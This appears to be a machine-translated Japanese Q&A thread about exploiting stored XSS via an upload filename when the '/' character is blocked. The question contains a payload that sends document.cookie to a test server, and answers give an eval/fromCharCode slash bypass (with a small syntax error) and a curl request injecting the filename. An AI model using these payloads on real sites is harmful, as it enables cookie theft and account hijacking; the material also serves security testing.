web-dev-qa-db-ja.com

/を使用せずにファイル名のXSSを利用する

ファイルアップロードのファイル名フィールドの脆弱性を悪用しようとしています。 Webアプリケーションはアップロードされたファイルのファイル名を適切に検証せず、その結果、保存されたクロスサイトスクリプティングの脆弱性が存在します。

私の問題は、以下のペイロードのようなものを含むようにファイルの名前を変更しようとするときはいつでも、ファイル名に/を含めることができないことです。

document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

アイデア/ペイロードはありますか?この脆弱性を利用することは可能ですか?

2
User1911

パケット傍受アプリケーションを使用して、送信されたパケットを編集する必要があります。したがって、/をファイル名の_などに置き換えて、パケットをインターセプトし、ヘッダーで変更します。

0
Peter Harmann

evalfromCharCode の組み合わせを使用すると、/を使用せずにJavaScriptを実行できます。

let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;"); 
1
Anders

アップロード時にファイル名をcurlで変更できます:

curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

しかし、これをPHP=でテストすると、最後の/、おそらくフルパスが送信されたと想定し、ベース名に変換しています。

0
AndrolGenhald